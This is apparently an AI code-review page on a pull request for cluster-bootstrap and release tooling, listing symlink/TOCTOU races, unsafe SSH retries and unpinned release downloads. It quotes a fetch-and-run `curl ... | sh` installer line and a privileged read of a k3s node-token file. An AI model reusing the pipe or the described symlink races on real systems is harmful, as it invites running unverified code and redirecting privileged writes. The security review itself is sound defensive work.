The lockfile is not protected against symlink redirection. When `Cargo.lock` is a symlink, the script's `[[ -f "$LOCKFILE" ]]` check passes, `require_free_sibling` checks only `.tmp/.next/.bak`, and `cp "$target" "$target.bak"` follows the lockfile symlink; subsequent Cargo updates and rollback operations can therefore read or write a file outside the repository. This violates the required safe persistent rewrite behavior and can modify an attacker-chosen target in a checkout. The claim would be false if the execution environment independently guarantees Cargo.lock can never be symlinked, but the script itself does not enforce that.
In scripts/release/set-version.sh around line 113, address this finding:
The staged/backup sibling checks are vulnerable to pathname TOCTOU races: after `require_free_sibling` observes the names absent, another process can create a symlink at `target.tmp`, `target.next`, or `target.bak` before `cp`, `mv`, or cleanup. Those operations follow or remove the attacker-controlled pathname, allowing writes outside the workspace or deletion of an unrelated target, despite the script's concurrency protocol. The claim would be false only if the lock directory were enforced against every other process that can manipulate these paths; the lock is private to this script and does not make pathname operations atomic against an uncooperative process.
In scripts/release/set-version.sh around line 115, address this finding:
The staged protocol has a pathname TOCTOU window: `require_free_sibling` checks that each `.tmp`/`.bak` path is absent, but later the shell redirection creates `.tmp` and `cp` creates `.bak` by pathname. A concurrent local process can replace one checked name with a symlink after the check; the awk output or backup then follows it, allowing writes outside the repository (and cleanup can remove the linked target). The `.set-version.lock` only coordinates other cooperating invocations of this script and cannot enforce this filesystem invariant.
In scripts/release/sync-homebrew-tap.sh around line 175, address this finding:
The script can mix assets from different release states because it downloads each platform through a mutable tag URL in a separate curl invocation and never pins or verifies the release identity. If the tag or its assets change between iterations, the generated formula contains per-platform SHA256 values from different releases; later Homebrew downloads can then fail checksum verification or install a split release.
In k8s_cli/src/manager/process.rs around line 319, address this finding:
SSH retries can re-execute a remote bootstrap step after the remote side has already started running it. The retry gate treats an empty stdout stream as proof that the remote command did not run (`let remote_ran = !output.stdout.is_empty()`), but a connection can be lost before the wrapper's final status marker is delivered even after the script has performed side effects (for example, the script installs/starts a service and then sshd/network disappears before any output reaches the client). In that case ssh exits 255 with no captured stdout, and the same stdin script is sent again, potentially repeating installation/service changes. This violates the no-retry-after-possible-execution invariant; it would be disproven only if the SSH transport guaranteed that status 255 with zero stdout necessarily means the remote shell never received or executed any command, which SSH does not guarantee. The existing tests cover destination construction and parsing but do not exercise a transport drop after remote execution with empty output.
In k8s_cli/src/manager/process.rs around line 320, address this finding:
SSH transport retry can rerun a remote bootstrap script after the remote side has already executed it.
In k8s_cli/src/manager/mod.rs around line 571, address this finding:
New-cluster bootstrap can durably replace a valid generated token with an empty token if the remote token read succeeds but returns empty/whitespace output. `fetch_k3s_node_token` trims the response but does not reject empty, and `write_secret_file` then persists it; subsequent agents receive an empty token and the persisted state is corrupted for later retries.
In k8s_cli/src/manager/state.rs around line 35, address this finding:
Legacy-state adoption can escape `.exedev-k8s` and rename an arbitrary directory because it joins the raw cluster name before validating/sanitizing it.
## Additional findings on this change (not posted inline) (11)
In k8s_cli/src/manager/scripts.rs around line 138, address this finding:
The server-role guard does not detect an agent installed by the no-supervisor fallback. `require_no_k3s_agent_state_for_server` checks only the `k3s-agent` service and then permits the server when no supervisor exists; it never checks the agent data directory or `/var/run/exedev-k8s-k3s-agent.pid`. On an image without systemd/OpenRC, after an agent bootstrap leaves `/var/lib/rancher/k3s/agent` and its process running, a later control-plane bootstrap passes this guard and starts `k3s server` on the same VM, producing a mixed-role node and conflicting k3s state. This is disproven only if fallback agents are guaranteed never to remain on a VM before role changes (for example, VMs are always destroyed).
In k8s_cli/src/manager/scripts.rs, address this finding:
The supervisor install pipeline can report success when the k3s installer download fails. Because the script does not enable `pipefail`, `curl -sfL https://get.k3s.io | ... sh -s ...` returns the status of `sh`; a curl/TLS/network failure can leave `sh` with EOF and status 0, after which the script starts the service (or relies on a stale unit) instead of failing the install. This is especially harmful in the supervisor branch because it bypasses the checksum-verified binary fallback.
In scripts/release/set-version.sh around line 14, address this finding:
An explicitly empty version argument is silently replaced by `RELEASE_TAG`, so the script can rewrite the workspace to a version different from the argument supplied by its caller. For example, with `RELEASE_TAG=v0.1.11`, `set-version.sh ''` evaluates `VERSION` as `v0.1.11` and succeeds instead of rejecting the empty argument. This violates the script's input contract and can produce a mismatched build when a wrapper intentionally passes an empty value; it would be false only if callers are guaranteed never to pass an empty positional argument and the script is not required to distinguish that from an omitted argument.
In scripts/release/sync-homebrew-tap.sh around line 132, address this finding:
An explicit target path can generate a formula whose filename and Homebrew class do not match the configured formula name.
In scripts/release/sync-homebrew-tap.sh around line 157, address this finding:
The tap-root confinement check is TOCTOU-unsafe: after FORMULA_PARENT_REAL is checked, an attacker can replace the parent directory with a symlink and redirect the staged formula write outside the tap.
In k8s_cli/src/fleet.rs around line 326, address this finding:
Project/task and spare-pool map names are interpolated into generated label values and taint values without validation. For example, a fleet with project key `team one` (or task key `a/b`) passes `validate`, but planning produces `exedev.dev/project=team one` / `exedev.dev/task=a/b` and an isolation taint containing the same invalid value; `kubectl label`/`taint` then fails only after VM creation/bootstrap has begun.
In fleet.example.yaml around line 83, address this finding:
The documented `fleet.example.yaml` is rejected by the new validation: its `sparePools.ingress.labels` contains `exedev.dev/role: ingress`, but `validate` unconditionally rejects every user-supplied `exedev.dev/role`. Thus the repository's stated starter configuration cannot be loaded, violating compatibility with the example and making the intended ingress role impossible to configure.
In k8s_cli/src/manager/scripts.rs around line 245, address this finding:
The server path treats any existing kubeconfig as proof that the newly requested server started, and it ignores the failure from the nonblocking start. On a VM with a stale `/etc/rancher/k3s/k3s.yaml` but a stopped/broken `k3s` service, `start_k3s_service_no_block k3s` can fail, the loop immediately sees the old non-empty file, and the bootstrap exits 0 even though this VM is not serving the cluster.
In k8s_cli/src/manager/scripts.rs around line 183, address this finding:
Checksum verification does not make the temporary download safe against a local symlink attack. The binary and checksum paths are predictable `/tmp` names based on `$$`; `curl -o` follows an attacker-created symlink at that path, and after the checksum matches the script runs `chmod` and privileged `chown` on the same pathname before moving it. A local user able to race/create that symlink can cause the downloaded bytes to overwrite an arbitrary writable file and cause `sudo chown root:root` (and chmod) to follow it, despite successful checksum verification.
In k8s_cli/src/manager/state.rs around line 203, address this finding:
Publishing a secret does not durably sync newly created ancestor directory entries, so a crash can lose the newly created cluster-state directory (and therefore the token/kubeconfig) even though the file and its immediate parent were fsynced.
In k8s_cli/src/manager/parsing.rs around line 152, address this finding:
Whitespace-bearing authoritative SSH destinations are accepted after trimming, contrary to the destination-integrity requirement.
## Previously reported and still present (3)
In scripts/release/sync-homebrew-tap.sh around line 158, address this finding:
The tap write confinement check has a TOCTOU gap: it resolves and validates `FORMULA_PARENT_REAL` with `cd -P`, then later creates a staged file and performs `mv -f "$FORMULA_STAGED" "$TAP_FORMULA_PATH"`. Another process can replace a validated parent directory with a symlink after the check, causing the final destination pathname to resolve outside the tap checkout. The script therefore does not fully satisfy refusal of symlink/path redirection at write time. This would be false only if the tap directory and its parents are trusted and immutable for the whole run, which is not enforced by the script.
In .github/workflows/release.yml around line 223, address this finding:
The verify/publish/confirm sequence does not actually prevent publishing a release for a tag that moves after verification: `publish` attaches assets by tag name after `verify` has completed, so a concurrent force-push (or delete/recreate) between those jobs can make the release point at a different commit. `confirm` only detects the mismatch after publication and fails the workflow; it does not undo the already-created/updated release or its assets.
In scripts/release/sync-homebrew-tap.sh around line 173, address this finding:
The Homebrew script can combine assets from different revisions when the release tag moves during its download loop. Each platform archive is fetched independently from a mutable `/releases/download/$RELEASE_TAG/...` URL, with no immutable release ID or commit/tag consistency check; if the tag is retargeted between iterations, the generated formula records four SHA256s belonging to a mixture of releases. Users then receive platform-dependent binaries from different source revisions under one formula version. This would be false only if the tag/release asset URLs were externally guaranteed immutable for the entire run, which GitHub tag-based download URLs do not provide.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 9 of 10 areas reviewed
| # restored manifests. | ||
| LOCKFILE="$REPO_ROOT/Cargo.lock" | ||
| LOCKFILE_CREATED=0 | ||
| if [[ -f "$LOCKFILE" ]]; then |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
The lockfile is not protected against symlink redirection. When `Cargo.lock` is a symlink, the script's `[[ -f "$LOCKFILE" ]]` check passes, `require_free_sibling` checks only `.tmp/.next/.bak`, and `cp "$target" "$target.bak"` follows the lockfile symlink; subsequent Cargo updates and rollback operations can therefore read or write a file outside the repository. This violates the required safe persistent rewrite behavior and can modify an attacker-chosen target in a checkout. The claim would be false if the execution environment independently guarantees Cargo.lock can never be symlinked, but the script itself does not enforce that.
| # The staging and backup names are derived from the target, so anything already | ||
| # sitting at one of them would be written through (a symlink there redirects the | ||
| # rewrite outside the workspace) and then deleted by the cleanup below. | ||
| require_free_sibling() { |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ Exploitation requires a concurrent local process with write access to the repository paths; rename and unlink operations themselves generally replace/remove symlink entries, but the staged and backup writes (awk/cp redirection) follow a raced symlink and can write outside the workspace.
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
The staged/backup sibling checks are vulnerable to pathname TOCTOU races: after `require_free_sibling` observes the names absent, another process can create a symlink at `target.tmp`, `target.next`, or `target.bak` before `cp`, `mv`, or cleanup. Those operations follow or remove the attacker-controlled pathname, allowing writes outside the workspace or deletion of an unrelated target, despite the script's concurrency protocol. The claim would be false only if the lock directory were enforced against every other process that can manipulate these paths; the lock is private to this script and does not make pathname operations atomic against an uncooperative process.
| # rewrite outside the workspace) and then deleted by the cleanup below. | ||
| require_free_sibling() { | ||
| local sibling | ||
| for sibling in "$1.tmp" "$1.next" "$1.bak"; do |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The practical impact depends on the script running with write access to a sensitive path and an attacker being able to schedule a competing local process during the check-to-open interval; the .set-version.lock does not constrain non-cooperating processes.
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
The staged protocol has a pathname TOCTOU window: `require_free_sibling` checks that each `.tmp`/`.bak` path is absent, but later the shell redirection creates `.tmp` and `cp` creates `.bak` by pathname. A concurrent local process can replace one checked name with a symlink after the check; the awk output or backup then follows it, allowing writes outside the repository (and cleanup can remove the linked target). The `.set-version.lock` only coordinates other cooperating invocations of this script and cannot enforce this filesystem invariant.
| SHAS=() | ||
| for platform in "${PLATFORMS[@]}"; do | ||
| archive="${ARCHIVE_PREFIX}-${RELEASE_TAG}-${platform}.tar.gz" | ||
| url="https://github.com/$REPO_SLUG/releases/download/$RELEASE_TAG/$archive" |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact GitHub release/tag mutation window is operationally rare, but the script makes independent mutable-tag requests and does not enforce a single release identity.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The script can mix assets from different release states because it downloads each platform through a mutable tag URL in a separate curl invocation and never pins or verifies the release identity. If the tag or its assets change between iterations, the generated formula contains per-platform SHA256 values from different releases; later Homebrew downloads can then fail checksum verification or install a split release.
| // Any stdout at all means the remote shell reached the script, whether or | ||
| // not the exit marker made it back, so resending would repeat whatever it | ||
| // had already done. Only an exchange that produced nothing is retried. | ||
| let remote_ran = !output.stdout.is_empty(); |
There was a problem hiding this comment.
🔍 Reliability | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact SSH/network failure timing is environment-dependent, but SSH provides no guarantee that status 255 with empty stdout means the remote shell did not execute the stdin script.
🤖 Prompt for AI agents
In k8s_cli/src/manager/process.rs, address this finding:
SSH retries can re-execute a remote bootstrap step after the remote side has already started running it. The retry gate treats an empty stdout stream as proof that the remote command did not run (`let remote_ran = !output.stdout.is_empty()`), but a connection can be lost before the wrapper's final status marker is delivered even after the script has performed side effects (for example, the script installs/starts a service and then sshd/network disappears before any output reaches the client). In that case ssh exits 255 with no captured stdout, and the same stdin script is sent again, potentially repeating installation/service changes. This violates the no-retry-after-possible-execution invariant; it would be disproven only if the SSH transport guaranteed that status 255 with zero stdout necessarily means the remote shell never received or executed any command, which SSH does not guarantee. The existing tests cover destination construction and parsing but do not exercise a transport drop after remote execution with empty output.
| // not the exit marker made it back, so resending would repeat whatever it | ||
| // had already done. Only an exchange that produced nothing is retried. | ||
| let remote_ran = !output.stdout.is_empty(); | ||
| if output.status.code() == Some(255) && !remote_ran && attempt < REMOTE_SSH_ATTEMPTS { |
There was a problem hiding this comment.
🔍 Error Handling | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact SSH failure timing is environment-dependent, but SSH status 255 does not guarantee that the remote command was never started.
🤖 Prompt for AI agents
In k8s_cli/src/manager/process.rs, address this finding:
SSH transport retry can rerun a remote bootstrap script after the remote side has already executed it.
| async fn fetch_k3s_node_token(targets: &SshTargets, vm: &str) -> Result<String> { | ||
| let script = remote_privileged_script("${SUDO} cat /var/lib/rancher/k3s/server/node-token"); | ||
| remote_capture(vm, &script) | ||
| remote_capture(targets, vm, &script) |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/mod.rs, address this finding:
New-cluster bootstrap can durably replace a valid generated token with an empty token if the remote token read succeeds but returns empty/whitespace output. `fetch_k3s_node_token` trims the response but does not reject empty, and `write_secret_file` then persists it; subsequent agents receive an empty token and the persisted state is corrupted for later retries.
| /// cannot join. Only an exact rename is attempted; anything else is left alone | ||
| /// for the operator to resolve. | ||
| fn adopt_legacy_state_dir(cluster_name: &str, current: &Path) { | ||
| let legacy = Path::new(STATE_DIR).join(cluster_name); |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The practical impact depends on the process working directory and whether a pre-existing directory at the traversal-resolved legacy path exists, but both are ordinary conditions and the code does not constrain them.
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
Legacy-state adoption can escape `.exedev-k8s` and rename an arbitrary directory because it joins the raw cluster name before validating/sanitizing it.
Checked against https://exe.dev/llms-full.txt on 2026-08-10.
exedev-ctl: commands upstream documents that only
execcould reachpool new/list/deleteandnew --pool— team reserved capacityshare add/remove --root,share receive-email --reply-policyintegrations test,integrations catalog,list --usage,--readonly, and the time-boxed--for/--untilgrants onattachteam settings auto-join, tax-ID fields onteam billing updatebilling credits usage/transactions/buy,billing payment,billing update,billing statementTwo documented commands are deliberately left to
exec:billing provider link --token=...andexe0-to-exe1 <token>. Both take a token as an argument, and a typed wrapper would only make it easier to leak one into shell history and the process list.new --commandis removed. It is no longer in the upstream option list fornew, so forwarding it only produced a server-side error.Confirmation prompts
The dangerous-command guard now also covers
pool delete,billing credits buy,billing payment remove,share access allow,team settings auto-join on, andshare add --root— which grants SSH, Terminal, and Shelley access rather than the web-only share it resembles.Server-side
--yesforwarding (team disable,billing credits buy) moves from two hardcoded call sites to one declaration;execis excluded so raw passthrough stays verbatim.--jsonand--yesalso gained help text, which was previously blank.exedev-k8s: SSH destination
Bootstrap reached every node at a hardcoded
<vm>.exe.xyz. Upstream now documents thatssh_destmay carry a username prefix such asvm+bloggy@exe.devwhen a VM hostname cannot route SSH directly, so bootstrap dialled the wrong destination for those VMs. It now reads the destination from thelsresponse (falling back to the hostname) and re-reads the list after creating VMs so new ones contribute theirs.Release tooling (separate commit)
clap's#[command(version)]readsCARGO_PKG_VERSION, baked in at compile time, so--versionreported whatever the crates were last set to rather than the tag the binary shipped under.scripts/release/set-version.shrewrites the workspace members, theexedev-corepath-dependency requirement, andCargo.lock, and the release workflow runs it before the build.scripts/release/sync-homebrew-tap.shregenerates the tap formula from published assets.Docs
docs/exe-dev-api-reference.md(CLI reference section 10 → 11, check date,ssh_host/ssh_user, thellms-full.txtentry point),docs/exedev-automation.md, bothcli/READMEcoverage lists, bothk8s_cli/READMEfiles — the old text described bootstrap as usingssh exe.dev ssh <vm>, which the code has never done — and theexedev-ctlskill.Test
cargo test: 61 passed, 0 failed.cargo fmt --checkclean, no new clippy warnings.Summary by CodeRabbit
New Features
--yessupport for eligible confirmation prompts.Bug Fixes
Documentation
Chores
Summary
Changes
lsJSON (and rendered-table/output-wrapped listings), prefer authoritative vm_name fields over generic name, validate ssh destinations, and refuse non-JSON or empty responses rather than inventing inventory.